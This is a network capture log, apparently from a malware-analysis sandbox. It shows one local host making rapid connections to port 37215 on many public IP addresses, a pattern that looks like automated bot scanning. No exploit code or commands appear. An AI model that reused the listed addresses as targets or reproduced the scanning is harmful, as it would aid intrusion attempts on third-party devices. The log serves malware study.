Aug 6, 2024 08:32:57.878921986 CEST	45278	37215	192.168.2.14	156.120.203.129
Aug 6, 2024 08:32:57.878926992 CEST	37215	51912	156.110.107.187	192.168.2.14
Aug 6, 2024 08:32:57.878938913 CEST	37215	53658	156.229.253.94	192.168.2.14
Aug 6, 2024 08:32:57.878948927 CEST	37215	53542	156.38.36.98	192.168.2.14
Aug 6, 2024 08:32:57.878958941 CEST	37215	44200	156.90.142.34	192.168.2.14
Aug 6, 2024 08:32:57.878968954 CEST	37215	46238	41.249.148.178	192.168.2.14
Aug 6, 2024 08:32:57.878978968 CEST	37215	44004	156.90.142.34	192.168.2.14
Aug 6, 2024 08:32:57.878988028 CEST	37215	53738	156.38.36.98	192.168.2.14
Aug 6, 2024 08:32:57.878993988 CEST	53658	37215	192.168.2.14	156.229.253.94
Aug 6, 2024 08:32:57.878994942 CEST	44200	37215	192.168.2.14	156.90.142.34
Aug 6, 2024 08:32:57.878998041 CEST	37215	46446	41.249.148.178	192.168.2.14
Aug 6, 2024 08:32:57.879007101 CEST	37215	50514	156.191.143.79	192.168.2.14
Aug 6, 2024 08:32:57.879017115 CEST	37215	50712	156.191.143.79	192.168.2.14
Aug 6, 2024 08:32:57.879025936 CEST	37215	44420	41.76.72.232	192.168.2.14
Aug 6, 2024 08:32:57.879035950 CEST	37215	44618	41.76.72.232	192.168.2.14
Aug 6, 2024 08:32:57.879038095 CEST	46446	37215	192.168.2.14	41.249.148.178
Aug 6, 2024 08:32:57.879045010 CEST	50712	37215	192.168.2.14	156.191.143.79
Aug 6, 2024 08:32:57.879045963 CEST	37215	35842	156.146.161.140	192.168.2.14
Aug 6, 2024 08:32:57.879055977 CEST	37215	36040	156.146.161.140	192.168.2.14
Aug 6, 2024 08:32:57.879065990 CEST	37215	33674	41.132.244.189	192.168.2.14
Aug 6, 2024 08:32:57.879067898 CEST	44618	37215	192.168.2.14	41.76.72.232
Aug 6, 2024 08:32:57.879070044 CEST	51912	37215	192.168.2.14	156.110.107.187
Aug 6, 2024 08:32:57.879070997 CEST	53738	37215	192.168.2.14	156.38.36.98
Aug 6, 2024 08:32:57.879070997 CEST	51912	37215	192.168.2.14	156.110.107.187
Aug 6, 2024 08:32:57.879072905 CEST	45278	37215	192.168.2.14	156.120.203.129
Aug 6, 2024 08:32:57.879076958 CEST	37215	33872	41.132.244.189	192.168.2.14
Aug 6, 2024 08:32:57.879076958 CEST	53658	37215	192.168.2.14	156.229.253.94
Aug 6, 2024 08:32:57.879086018 CEST	37215	54012	197.49.113.26	192.168.2.14
Aug 6, 2024 08:32:57.879091024 CEST	36040	37215	192.168.2.14	156.146.161.140
Aug 6, 2024 08:32:57.879096985 CEST	37215	54210	197.49.113.26	192.168.2.14
Aug 6, 2024 08:32:57.879106045 CEST	37215	48688	197.243.147.108	192.168.2.14
Aug 6, 2024 08:32:57.879112005 CEST	44200	37215	192.168.2.14	156.90.142.34
Aug 6, 2024 08:32:57.879112005 CEST	53738	37215	192.168.2.14	156.38.36.98
Aug 6, 2024 08:32:57.879112959 CEST	33872	37215	192.168.2.14	41.132.244.189
Aug 6, 2024 08:32:57.879118919 CEST	50712	37215	192.168.2.14	156.191.143.79
Aug 6, 2024 08:32:57.879128933 CEST	37215	48886	197.243.147.108	192.168.2.14
Aug 6, 2024 08:32:57.879132986 CEST	54852	37215	192.168.2.14	197.129.93.172
Aug 6, 2024 08:32:57.879138947 CEST	37215	59852	156.161.239.9	192.168.2.14
Aug 6, 2024 08:32:57.879143000 CEST	54210	37215	192.168.2.14	197.49.113.26
Aug 6, 2024 08:32:57.879143953 CEST	46406	37215	192.168.2.14	41.241.249.10
Aug 6, 2024 08:32:57.879148960 CEST	37215	60046	156.161.239.9	192.168.2.14
Aug 6, 2024 08:32:57.879151106 CEST	57578	37215	192.168.2.14	156.68.100.122
Aug 6, 2024 08:32:57.879157066 CEST	60388	37215	192.168.2.14	197.246.49.210
Aug 6, 2024 08:32:57.879159927 CEST	37215	43938	41.126.48.149	192.168.2.14
Aug 6, 2024 08:32:57.879163027 CEST	48886	37215	192.168.2.14	197.243.147.108
Aug 6, 2024 08:32:57.879163027 CEST	58186	37215	192.168.2.14	156.109.160.83
Aug 6, 2024 08:32:57.879172087 CEST	37215	44132	41.126.48.149	192.168.2.14
Aug 6, 2024 08:32:57.879177094 CEST	46446	37215	192.168.2.14	41.249.148.178
Aug 6, 2024 08:32:57.879183054 CEST	37215	42332	41.93.67.128	192.168.2.14
Aug 6, 2024 08:32:57.879184008 CEST	60046	37215	192.168.2.14	156.161.239.9
Aug 6, 2024 08:32:57.879194021 CEST	37215	42130	41.93.67.128	192.168.2.14
Aug 6, 2024 08:32:57.879204988 CEST	37215	39748	156.71.179.176	192.168.2.14
Aug 6, 2024 08:32:57.879204988 CEST	54210	37215	192.168.2.14	197.49.113.26
Aug 6, 2024 08:32:57.879215956 CEST	37215	39546	156.71.179.176	192.168.2.14
Aug 6, 2024 08:32:57.879215002 CEST	44132	37215	192.168.2.14	41.126.48.149
Aug 6, 2024 08:32:57.879215002 CEST	48886	37215	192.168.2.14	197.243.147.108
Aug 6, 2024 08:32:57.879219055 CEST	42332	37215	192.168.2.14	41.93.67.128
Aug 6, 2024 08:32:57.879226923 CEST	37215	34840	156.115.124.112	192.168.2.14
Aug 6, 2024 08:32:57.879226923 CEST	60046	37215	192.168.2.14	156.161.239.9
Aug 6, 2024 08:32:57.879237890 CEST	44618	37215	192.168.2.14	41.76.72.232
Aug 6, 2024 08:32:57.879237890 CEST	39748	37215	192.168.2.14	156.71.179.176
Aug 6, 2024 08:32:57.879244089 CEST	37215	35038	156.115.124.112	192.168.2.14
Aug 6, 2024 08:32:57.879250050 CEST	36040	37215	192.168.2.14	156.146.161.140
Aug 6, 2024 08:32:57.879255056 CEST	37215	55794	197.243.175.21	192.168.2.14
Aug 6, 2024 08:32:57.879255056 CEST	33872	37215	192.168.2.14	41.132.244.189
Aug 6, 2024 08:32:57.879265070 CEST	37215	55596	197.243.175.21	192.168.2.14
Aug 6, 2024 08:32:57.879276991 CEST	35038	37215	192.168.2.14	156.115.124.112
Aug 6, 2024 08:32:57.879278898 CEST	39748	37215	192.168.2.14	156.71.179.176
Aug 6, 2024 08:32:57.879287004 CEST	42332	37215	192.168.2.14	41.93.67.128
Aug 6, 2024 08:32:57.879291058 CEST	44132	37215	192.168.2.14	41.126.48.149
Aug 6, 2024 08:32:57.879293919 CEST	55794	37215	192.168.2.14	197.243.175.21
Aug 6, 2024 08:32:57.879312038 CEST	35038	37215	192.168.2.14	156.115.124.112
Aug 6, 2024 08:32:57.879318953 CEST	37215	41880	197.99.255.71	192.168.2.14
Aug 6, 2024 08:32:57.879322052 CEST	55794	37215	192.168.2.14	197.243.175.21
Aug 6, 2024 08:32:57.879337072 CEST	37215	41682	197.99.255.71	192.168.2.14
Aug 6, 2024 08:32:57.879347086 CEST	37215	54044	156.132.223.150	192.168.2.14
Aug 6, 2024 08:32:57.879364014 CEST	41880	37215	192.168.2.14	197.99.255.71
Aug 6, 2024 08:32:57.879401922 CEST	41880	37215	192.168.2.14	197.99.255.71
Aug 6, 2024 08:32:57.879472017 CEST	37215	54242	156.132.223.150	192.168.2.14
Aug 6, 2024 08:32:57.879482985 CEST	37215	56982	197.26.44.71	192.168.2.14
Aug 6, 2024 08:32:57.879492998 CEST	37215	57180	197.26.44.71	192.168.2.14
Aug 6, 2024 08:32:57.879503965 CEST	37215	34696	197.239.85.60	192.168.2.14
Aug 6, 2024 08:32:57.879512072 CEST	54242	37215	192.168.2.14	156.132.223.150
Aug 6, 2024 08:32:57.879532099 CEST	57180	37215	192.168.2.14	197.26.44.71
Aug 6, 2024 08:32:57.879533052 CEST	54242	37215	192.168.2.14	156.132.223.150
Aug 6, 2024 08:32:57.879554987 CEST	57180	37215	192.168.2.14	197.26.44.71
Aug 6, 2024 08:32:57.879621983 CEST	37215	58266	156.206.209.219	192.168.2.14
Aug 6, 2024 08:32:57.879631996 CEST	37215	34894	197.239.85.60	192.168.2.14
Aug 6, 2024 08:32:57.879641056 CEST	37215	58464	156.206.209.219	192.168.2.14
Aug 6, 2024 08:32:57.879678011 CEST	34894	37215	192.168.2.14	197.239.85.60
Aug 6, 2024 08:32:57.879679918 CEST	58464	37215	192.168.2.14	156.206.209.219
Aug 6, 2024 08:32:57.879694939 CEST	34894	37215	192.168.2.14	197.239.85.60
Aug 6, 2024 08:32:57.879703999 CEST	37215	50118	197.236.195.48	192.168.2.14
Aug 6, 2024 08:32:57.879710913 CEST	58464	37215	192.168.2.14	156.206.209.219
Aug 6, 2024 08:32:57.879822016 CEST	37215	50312	197.236.195.48	192.168.2.14
Aug 6, 2024 08:32:57.879831076 CEST	37215	52110	156.3.234.130	192.168.2.14
Aug 6, 2024 08:32:57.879839897 CEST	37215	52310	156.3.234.130	192.168.2.14
Aug 6, 2024 08:32:57.879852057 CEST	37215	39764	156.120.149.131	192.168.2.14
Aug 6, 2024 08:32:57.879865885 CEST	52310	37215	192.168.2.14	156.3.234.130
Aug 6, 2024 08:32:57.879872084 CEST	50312	37215	192.168.2.14	197.236.195.48
Aug 6, 2024 08:32:57.879872084 CEST	50312	37215	192.168.2.14	197.236.195.48
Aug 6, 2024 08:32:57.879884005 CEST	52310	37215	192.168.2.14	156.3.234.130
Aug 6, 2024 08:32:57.879967928 CEST	37215	39964	156.120.149.131	192.168.2.14
Aug 6, 2024 08:32:57.879977942 CEST	37215	60082	41.61.105.166	192.168.2.14
Aug 6, 2024 08:32:57.879987955 CEST	37215	60280	41.61.105.166	192.168.2.14
Aug 6, 2024 08:32:57.879997969 CEST	37215	48510	197.24.106.202	192.168.2.14
Aug 6, 2024 08:32:57.880011082 CEST	39964	37215	192.168.2.14	156.120.149.131
Aug 6, 2024 08:32:57.880018950 CEST	60280	37215	192.168.2.14	41.61.105.166
Aug 6, 2024 08:32:57.880024910 CEST	39964	37215	192.168.2.14	156.120.149.131
Aug 6, 2024 08:32:57.880036116 CEST	60280	37215	192.168.2.14	41.61.105.166
Aug 6, 2024 08:32:57.880108118 CEST	37215	39016	156.127.251.19	192.168.2.14
Aug 6, 2024 08:32:57.880117893 CEST	37215	48708	197.24.106.202	192.168.2.14
Aug 6, 2024 08:32:57.880121946 CEST	37215	39214	156.127.251.19	192.168.2.14
Aug 6, 2024 08:32:57.880131006 CEST	37215	54398	41.216.206.238	192.168.2.14
Aug 6, 2024 08:32:57.880157948 CEST	39214	37215	192.168.2.14	156.127.251.19
Aug 6, 2024 08:32:57.880177975 CEST	39214	37215	192.168.2.14	156.127.251.19
Aug 6, 2024 08:32:57.880212069 CEST	48708	37215	192.168.2.14	197.24.106.202
Aug 6, 2024 08:32:57.880212069 CEST	48708	37215	192.168.2.14	197.24.106.202
Aug 6, 2024 08:32:57.880225897 CEST	37215	54596	41.216.206.238	192.168.2.14
Aug 6, 2024 08:32:57.880235910 CEST	37215	36414	156.110.250.215	192.168.2.14
Aug 6, 2024 08:32:57.880245924 CEST	37215	36612	156.110.250.215	192.168.2.14
Aug 6, 2024 08:32:57.880256891 CEST	37215	40578	41.84.43.12	192.168.2.14
Aug 6, 2024 08:32:57.880268097 CEST	54596	37215	192.168.2.14	41.216.206.238
Aug 6, 2024 08:32:57.880276918 CEST	36612	37215	192.168.2.14	156.110.250.215
Aug 6, 2024 08:32:57.880280972 CEST	54596	37215	192.168.2.14	41.216.206.238
Aug 6, 2024 08:32:57.880295038 CEST	36612	37215	192.168.2.14	156.110.250.215
Aug 6, 2024 08:32:57.880455971 CEST	37215	40776	41.84.43.12	192.168.2.14
Aug 6, 2024 08:32:57.880466938 CEST	37215	35496	197.146.41.152	192.168.2.14
Aug 6, 2024 08:32:57.880501986 CEST	40776	37215	192.168.2.14	41.84.43.12
Aug 6, 2024 08:32:57.880508900 CEST	35496	37215	192.168.2.14	197.146.41.152
Aug 6, 2024 08:32:57.880517006 CEST	37215	35300	197.146.41.152	192.168.2.14
Aug 6, 2024 08:32:57.880527020 CEST	37215	33062	41.247.194.250	192.168.2.14
Aug 6, 2024 08:32:57.880530119 CEST	40776	37215	192.168.2.14	41.84.43.12
Aug 6, 2024 08:32:57.880531073 CEST	35496	37215	192.168.2.14	197.146.41.152
Aug 6, 2024 08:32:57.880666971 CEST	37215	33262	41.247.194.250	192.168.2.14
Aug 6, 2024 08:32:57.880688906 CEST	37215	41196	156.239.82.241	192.168.2.14
Aug 6, 2024 08:32:57.880702972 CEST	37215	41392	156.239.82.241	192.168.2.14
Aug 6, 2024 08:32:57.880707979 CEST	33262	37215	192.168.2.14	41.247.194.250
Aug 6, 2024 08:32:57.880718946 CEST	37215	34172	41.130.36.148	192.168.2.14
Aug 6, 2024 08:32:57.880721092 CEST	33262	37215	192.168.2.14	41.247.194.250
Aug 6, 2024 08:32:57.880733013 CEST	41392	37215	192.168.2.14	156.239.82.241
Aug 6, 2024 08:32:57.880748987 CEST	41392	37215	192.168.2.14	156.239.82.241
Aug 6, 2024 08:32:57.880875111 CEST	37215	34372	41.130.36.148	192.168.2.14
Aug 6, 2024 08:32:57.880887032 CEST	37215	59274	156.141.181.78	192.168.2.14
Aug 6, 2024 08:32:57.880897045 CEST	37215	59472	156.141.181.78	192.168.2.14
Aug 6, 2024 08:32:57.880902052 CEST	37215	50348	197.201.240.82	192.168.2.14
Aug 6, 2024 08:32:57.880913019 CEST	34372	37215	192.168.2.14	41.130.36.148
Aug 6, 2024 08:32:57.880935907 CEST	59472	37215	192.168.2.14	156.141.181.78
Aug 6, 2024 08:32:57.880949974 CEST	34372	37215	192.168.2.14	41.130.36.148
Aug 6, 2024 08:32:57.880958080 CEST	59472	37215	192.168.2.14	156.141.181.78
Aug 6, 2024 08:32:57.881059885 CEST	37215	50546	197.201.240.82	192.168.2.14
Aug 6, 2024 08:32:57.881072044 CEST	37215	48732	197.135.201.145	192.168.2.14
Aug 6, 2024 08:32:57.881082058 CEST	37215	36000	156.165.159.159	192.168.2.14
Aug 6, 2024 08:32:57.881097078 CEST	50546	37215	192.168.2.14	197.201.240.82
Aug 6, 2024 08:32:57.881105900 CEST	50546	37215	192.168.2.14	197.201.240.82
Aug 6, 2024 08:32:57.881108046 CEST	36000	37215	192.168.2.14	156.165.159.159
Aug 6, 2024 08:32:57.881109953 CEST	37215	48930	197.135.201.145	192.168.2.14
Aug 6, 2024 08:32:57.881122112 CEST	36000	37215	192.168.2.14	156.165.159.159
Aug 6, 2024 08:32:57.881122112 CEST	37215	47292	41.22.10.251	192.168.2.14
Aug 6, 2024 08:32:57.881145954 CEST	48930	37215	192.168.2.14	197.135.201.145
Aug 6, 2024 08:32:57.881154060 CEST	48930	37215	192.168.2.14	197.135.201.145
Aug 6, 2024 08:32:57.881211042 CEST	37215	47490	41.22.10.251	192.168.2.14
Aug 6, 2024 08:32:57.881222963 CEST	37215	35802	156.165.159.159	192.168.2.14
Aug 6, 2024 08:32:57.881232977 CEST	37215	59742	41.243.106.194	192.168.2.14
Aug 6, 2024 08:32:57.881257057 CEST	47490	37215	192.168.2.14	41.22.10.251
Aug 6, 2024 08:32:57.881272078 CEST	47490	37215	192.168.2.14	41.22.10.251
Aug 6, 2024 08:32:57.881280899 CEST	37215	59940	41.243.106.194	192.168.2.14
Aug 6, 2024 08:32:57.881313086 CEST	37215	45156	156.168.2.129	192.168.2.14
Aug 6, 2024 08:32:57.881324053 CEST	37215	37012	197.25.36.107	192.168.2.14
Aug 6, 2024 08:32:57.881325960 CEST	59940	37215	192.168.2.14	41.243.106.194
Aug 6, 2024 08:32:57.881334066 CEST	59940	37215	192.168.2.14	41.243.106.194
Aug 6, 2024 08:32:57.881463051 CEST	37215	45354	156.168.2.129	192.168.2.14
Aug 6, 2024 08:32:57.881484032 CEST	37215	37210	197.25.36.107	192.168.2.14
Aug 6, 2024 08:32:57.881494045 CEST	37215	55994	197.126.162.69	192.168.2.14
Aug 6, 2024 08:32:57.881515026 CEST	37215	56186	197.126.162.69	192.168.2.14
Aug 6, 2024 08:32:57.881526947 CEST	37215	49538	156.55.98.88	192.168.2.14
Aug 6, 2024 08:32:57.881555080 CEST	56186	37215	192.168.2.14	197.126.162.69
Aug 6, 2024 08:32:57.881565094 CEST	56186	37215	192.168.2.14	197.126.162.69
Aug 6, 2024 08:32:57.881582975 CEST	45354	37215	192.168.2.14	156.168.2.129
Aug 6, 2024 08:32:57.881582975 CEST	45354	37215	192.168.2.14	156.168.2.129
Aug 6, 2024 08:32:57.881582975 CEST	37210	37215	192.168.2.14	197.25.36.107
Aug 6, 2024 08:32:57.881582975 CEST	37210	37215	192.168.2.14	197.25.36.107
Aug 6, 2024 08:32:57.881709099 CEST	37215	50910	41.136.180.243	192.168.2.14
Aug 6, 2024 08:32:57.881721973 CEST	37215	51112	41.136.180.243	192.168.2.14
Aug 6, 2024 08:32:57.881732941 CEST	37215	49730	156.55.98.88	192.168.2.14
Aug 6, 2024 08:32:57.881743908 CEST	37215	60692	197.39.213.224	192.168.2.14
Aug 6, 2024 08:32:57.881761074 CEST	51112	37215	192.168.2.14	41.136.180.243
Aug 6, 2024 08:32:57.881771088 CEST	49730	37215	192.168.2.14	156.55.98.88
Aug 6, 2024 08:32:57.881771088 CEST	49730	37215	192.168.2.14	156.55.98.88
Aug 6, 2024 08:32:57.881810904 CEST	37215	60894	197.39.213.224	192.168.2.14
Aug 6, 2024 08:32:57.881822109 CEST	37215	41892	197.30.136.119	192.168.2.14
Aug 6, 2024 08:32:57.881831884 CEST	37215	34230	197.88.121.9	192.168.2.14
Aug 6, 2024 08:32:57.881831884 CEST	51112	37215	192.168.2.14	41.136.180.243
Aug 6, 2024 08:32:57.881851912 CEST	60894	37215	192.168.2.14	197.39.213.224
Aug 6, 2024 08:32:57.881899118 CEST	60894	37215	192.168.2.14	197.39.213.224
Aug 6, 2024 08:32:57.881906986 CEST	37215	42094	197.30.136.119	192.168.2.14
Aug 6, 2024 08:32:57.881946087 CEST	42094	37215	192.168.2.14	197.30.136.119
Aug 6, 2024 08:32:57.881961107 CEST	42094	37215	192.168.2.14	197.30.136.119
Aug 6, 2024 08:32:57.881982088 CEST	37215	37202	197.14.65.126	192.168.2.14
Aug 6, 2024 08:32:57.881993055 CEST	37215	37400	197.14.65.126	192.168.2.14
Aug 6, 2024 08:32:57.882003069 CEST	37215	34428	197.88.121.9	192.168.2.14
Aug 6, 2024 08:32:57.882014036 CEST	37215	53604	41.25.197.239	192.168.2.14
Aug 6, 2024 08:32:57.882024050 CEST	37215	44474	156.195.255.108	192.168.2.14
Aug 6, 2024 08:32:57.882033110 CEST	37400	37215	192.168.2.14	197.14.65.126
Aug 6, 2024 08:32:57.882034063 CEST	34428	37215	192.168.2.14	197.88.121.9
Aug 6, 2024 08:32:57.882045031 CEST	34428	37215	192.168.2.14	197.88.121.9
Aug 6, 2024 08:32:57.882045031 CEST	53604	37215	192.168.2.14	41.25.197.239
Aug 6, 2024 08:32:57.882050037 CEST	37400	37215	192.168.2.14	197.14.65.126
Aug 6, 2024 08:32:57.882072926 CEST	53604	37215	192.168.2.14	41.25.197.239
Aug 6, 2024 08:32:57.882143974 CEST	37215	53406	41.25.197.239	192.168.2.14
Aug 6, 2024 08:32:57.882159948 CEST	37215	44672	156.195.255.108	192.168.2.14
Aug 6, 2024 08:32:57.882294893 CEST	44672	37215	192.168.2.14	156.195.255.108
Aug 6, 2024 08:32:57.882294893 CEST	44672	37215	192.168.2.14	156.195.255.108
Aug 6, 2024 08:32:57.883918047 CEST	37215	53858	41.83.20.241	192.168.2.14
Aug 6, 2024 08:32:57.883939981 CEST	37215	43612	197.175.48.74	192.168.2.14
Aug 6, 2024 08:32:57.883951902 CEST	37215	57002	156.39.190.188	192.168.2.14
Aug 6, 2024 08:32:57.883959055 CEST	37215	42618	41.81.28.179	192.168.2.14
Aug 6, 2024 08:32:57.883969069 CEST	37215	33454	41.240.222.87	192.168.2.14
Aug 6, 2024 08:32:57.884018898 CEST	37215	48356	41.124.13.62	192.168.2.14
Aug 6, 2024 08:32:57.884030104 CEST	37215	35250	197.202.174.153	192.168.2.14
Aug 6, 2024 08:32:57.884040117 CEST	37215	34620	156.105.22.195	192.168.2.14
Aug 6, 2024 08:32:57.884051085 CEST	37215	34782	156.176.4.128	192.168.2.14
Aug 6, 2024 08:32:57.884061098 CEST	37215	42978	197.151.199.82	192.168.2.14
Aug 6, 2024 08:32:57.884071112 CEST	37215	38668	197.190.71.95	192.168.2.14
Aug 6, 2024 08:32:57.884080887 CEST	37215	42558	197.3.222.193	192.168.2.14
Aug 6, 2024 08:32:57.884089947 CEST	37215	55264	41.189.168.243	192.168.2.14
Aug 6, 2024 08:32:57.884099007 CEST	37215	41642	156.88.39.9	192.168.2.14
Aug 6, 2024 08:32:57.884123087 CEST	37215	54536	41.158.14.71	192.168.2.14
Aug 6, 2024 08:32:57.884134054 CEST	37215	44336	156.240.242.22	192.168.2.14
Aug 6, 2024 08:32:57.884144068 CEST	37215	43160	156.46.53.169	192.168.2.14
Aug 6, 2024 08:32:57.884152889 CEST	37215	46688	197.148.25.151	192.168.2.14
Aug 6, 2024 08:32:57.884164095 CEST	37215	46138	197.153.83.250	192.168.2.14
Aug 6, 2024 08:32:57.884174109 CEST	37215	52212	41.97.122.146	192.168.2.14
Aug 6, 2024 08:32:57.884185076 CEST	37215	44648	41.175.71.81	192.168.2.14
Aug 6, 2024 08:32:57.884196997 CEST	37215	51384	156.12.183.66	192.168.2.14
Aug 6, 2024 08:32:57.884207964 CEST	37215	34170	156.84.121.52	192.168.2.14
Aug 6, 2024 08:32:57.884217024 CEST	37215	37578	41.113.154.68	192.168.2.14
Aug 6, 2024 08:32:57.884227991 CEST	37215	45770	156.9.49.106	192.168.2.14
Aug 6, 2024 08:32:57.884237051 CEST	37215	40402	156.115.169.96	192.168.2.14
Aug 6, 2024 08:32:57.884247065 CEST	37215	60396	156.255.113.130	192.168.2.14
Aug 6, 2024 08:32:57.884258032 CEST	37215	45330	41.218.183.57	192.168.2.14
Aug 6, 2024 08:32:57.884267092 CEST	37215	46704	156.20.59.113	192.168.2.14
Aug 6, 2024 08:32:57.884278059 CEST	37215	58932	197.42.1.152	192.168.2.14
Aug 6, 2024 08:32:57.884289026 CEST	37215	33714	197.14.35.101	192.168.2.14
Aug 6, 2024 08:32:57.884299040 CEST	37215	41816	41.229.93.116	192.168.2.14
Aug 6, 2024 08:32:57.884310007 CEST	37215	53436	197.90.150.199	192.168.2.14
Aug 6, 2024 08:32:57.888106108 CEST	37215	53604	41.25.197.239	192.168.2.14
Aug 6, 2024 08:32:57.888117075 CEST	37215	37400	197.14.65.126	192.168.2.14
Aug 6, 2024 08:32:57.888125896 CEST	37215	34428	197.88.121.9	192.168.2.14
Aug 6, 2024 08:32:57.888158083 CEST	37215	42094	197.30.136.119	192.168.2.14
Aug 6, 2024 08:32:57.888169050 CEST	37215	60894	197.39.213.224	192.168.2.14
Aug 6, 2024 08:32:57.888178110 CEST	37215	51112	41.136.180.243	192.168.2.14
Aug 6, 2024 08:32:57.888189077 CEST	37215	49730	156.55.98.88	192.168.2.14
Aug 6, 2024 08:32:57.888199091 CEST	37215	37210	197.25.36.107	192.168.2.14
Aug 6, 2024 08:32:57.888207912 CEST	37215	45354	156.168.2.129	192.168.2.14
Aug 6, 2024 08:32:57.888226986 CEST	37215	56186	197.126.162.69	192.168.2.14
Aug 6, 2024 08:32:57.888236046 CEST	37215	59940	41.243.106.194	192.168.2.14
Aug 6, 2024 08:32:57.888246059 CEST	37215	47490	41.22.10.251	192.168.2.14
Aug 6, 2024 08:32:57.888256073 CEST	37215	48930	197.135.201.145	192.168.2.14
Aug 6, 2024 08:32:57.888266087 CEST	37215	36000	156.165.159.159	192.168.2.14
Aug 6, 2024 08:32:57.888276100 CEST	37215	50546	197.201.240.82	192.168.2.14
Aug 6, 2024 08:32:57.888298988 CEST	37215	59472	156.141.181.78	192.168.2.14
Aug 6, 2024 08:32:57.888309956 CEST	37215	34372	41.130.36.148	192.168.2.14
Aug 6, 2024 08:32:57.888319969 CEST	37215	41392	156.239.82.241	192.168.2.14
Aug 6, 2024 08:32:57.888329029 CEST	37215	33262	41.247.194.250	192.168.2.14
Aug 6, 2024 08:32:57.888339043 CEST	37215	40776	41.84.43.12	192.168.2.14
Aug 6, 2024 08:32:57.888349056 CEST	37215	35496	197.146.41.152	192.168.2.14
Aug 6, 2024 08:32:57.888370037 CEST	37215	36612	156.110.250.215	192.168.2.14
Aug 6, 2024 08:32:57.888381004 CEST	37215	54596	41.216.206.238	192.168.2.14
Aug 6, 2024 08:32:57.888391972 CEST	37215	48708	197.24.106.202	192.168.2.14
Aug 6, 2024 08:32:57.888401985 CEST	37215	39214	156.127.251.19	192.168.2.14
Aug 6, 2024 08:32:57.888411045 CEST	37215	60280	41.61.105.166	192.168.2.14
Aug 6, 2024 08:32:57.888421059 CEST	37215	39964	156.120.149.131	192.168.2.14
Aug 6, 2024 08:32:57.888430119 CEST	37215	52310	156.3.234.130	192.168.2.14
Aug 6, 2024 08:32:57.888452053 CEST	37215	50312	197.236.195.48	192.168.2.14
Aug 6, 2024 08:32:57.888462067 CEST	37215	58464	156.206.209.219	192.168.2.14
Aug 6, 2024 08:32:57.888470888 CEST	37215	34894	197.239.85.60	192.168.2.14
Aug 6, 2024 08:32:57.888501883 CEST	37215	57180	197.26.44.71	192.168.2.14
Aug 6, 2024 08:32:57.888510942 CEST	37215	54242	156.132.223.150	192.168.2.14
Aug 6, 2024 08:32:57.888525009 CEST	37215	41880	197.99.255.71	192.168.2.14
Aug 6, 2024 08:32:57.888535023 CEST	37215	55794	197.243.175.21	192.168.2.14
Aug 6, 2024 08:32:57.888614893 CEST	37215	35038	156.115.124.112	192.168.2.14
Aug 6, 2024 08:32:57.888627052 CEST	37215	44132	41.126.48.149	192.168.2.14
Aug 6, 2024 08:32:57.888648033 CEST	37215	42332	41.93.67.128	192.168.2.14
Aug 6, 2024 08:32:57.888659000 CEST	37215	39748	156.71.179.176	192.168.2.14
Aug 6, 2024 08:32:57.888730049 CEST	37215	33872	41.132.244.189	192.168.2.14
Aug 6, 2024 08:32:57.888740063 CEST	37215	36040	156.146.161.140	192.168.2.14
Aug 6, 2024 08:32:57.888758898 CEST	37215	44618	41.76.72.232	192.168.2.14
Aug 6, 2024 08:32:57.888770103 CEST	37215	60046	156.161.239.9	192.168.2.14
Aug 6, 2024 08:32:57.888778925 CEST	37215	48886	197.243.147.108	192.168.2.14
Aug 6, 2024 08:32:57.888808966 CEST	37215	54210	197.49.113.26	192.168.2.14
Aug 6, 2024 08:32:57.888818979 CEST	37215	46446	41.249.148.178	192.168.2.14
Aug 6, 2024 08:32:57.888828993 CEST	37215	58186	156.109.160.83	192.168.2.14
Aug 6, 2024 08:32:57.888848066 CEST	37215	60388	197.246.49.210	192.168.2.14
Aug 6, 2024 08:32:57.888858080 CEST	37215	46406	41.241.249.10	192.168.2.14
Aug 6, 2024 08:32:57.888868093 CEST	37215	57578	156.68.100.122	192.168.2.14
Aug 6, 2024 08:32:57.888878107 CEST	37215	54852	197.129.93.172	192.168.2.14
Aug 6, 2024 08:32:57.888917923 CEST	37215	50712	156.191.143.79	192.168.2.14
Aug 6, 2024 08:32:57.888930082 CEST	37215	53738	156.38.36.98	192.168.2.14
Aug 6, 2024 08:32:57.888941050 CEST	37215	44200	156.90.142.34	192.168.2.14
Aug 6, 2024 08:32:57.888951063 CEST	37215	51912	156.110.107.187	192.168.2.14
Aug 6, 2024 08:32:57.888972998 CEST	37215	53658	156.229.253.94	192.168.2.14
Aug 6, 2024 08:32:57.888983011 CEST	37215	45278	156.120.203.129	192.168.2.14
Aug 6, 2024 08:32:57.888993025 CEST	37215	60158	41.64.162.163	192.168.2.14
Aug 6, 2024 08:32:57.889003992 CEST	37215	34084	156.111.178.221	192.168.2.14
Aug 6, 2024 08:32:57.889014959 CEST	37215	52318	197.17.109.18	192.168.2.14
Aug 6, 2024 08:32:57.889024973 CEST	37215	51832	156.31.218.172	192.168.2.14
Aug 6, 2024 08:32:57.889045954 CEST	37215	56314	41.169.1.160	192.168.2.14
Aug 6, 2024 08:32:57.889055967 CEST	37215	52326	197.123.250.251	192.168.2.14
Aug 6, 2024 08:32:57.889065027 CEST	37215	49082	41.126.237.119	192.168.2.14
Aug 6, 2024 08:32:57.889075041 CEST	37215	53740	41.39.210.77	192.168.2.14
Aug 6, 2024 08:32:57.889086008 CEST	37215	33862	197.248.74.54	192.168.2.14
Aug 6, 2024 08:32:57.889096975 CEST	37215	56224	41.71.67.34	192.168.2.14
Aug 6, 2024 08:32:57.889117956 CEST	37215	48312	156.99.69.120	192.168.2.14
Aug 6, 2024 08:32:57.889128923 CEST	37215	47834	41.233.198.210	192.168.2.14
Aug 6, 2024 08:32:57.889138937 CEST	37215	57988	197.85.104.216	192.168.2.14
Aug 6, 2024 08:32:57.889149904 CEST	37215	37000	197.94.142.206	192.168.2.14
Aug 6, 2024 08:32:57.889163017 CEST	37215	33812	41.195.3.220	192.168.2.14
Aug 6, 2024 08:32:57.889174938 CEST	37215	43022	41.238.196.59	192.168.2.14
Aug 6, 2024 08:32:57.889187098 CEST	37215	47248	197.115.196.137	192.168.2.14
Aug 6, 2024 08:32:57.889198065 CEST	37215	44750	156.255.60.96	192.168.2.14
Aug 6, 2024 08:32:57.889208078 CEST	37215	55410	197.166.211.169	192.168.2.14
Aug 6, 2024 08:32:57.889218092 CEST	37215	40768	41.196.151.196	192.168.2.14
Aug 6, 2024 08:32:57.889228106 CEST	37215	52202	197.38.129.206	192.168.2.14
Aug 6, 2024 08:32:57.889238119 CEST	37215	35798	197.59.82.212	192.168.2.14
Aug 6, 2024 08:32:57.889247894 CEST	37215	44092	156.11.49.218	192.168.2.14
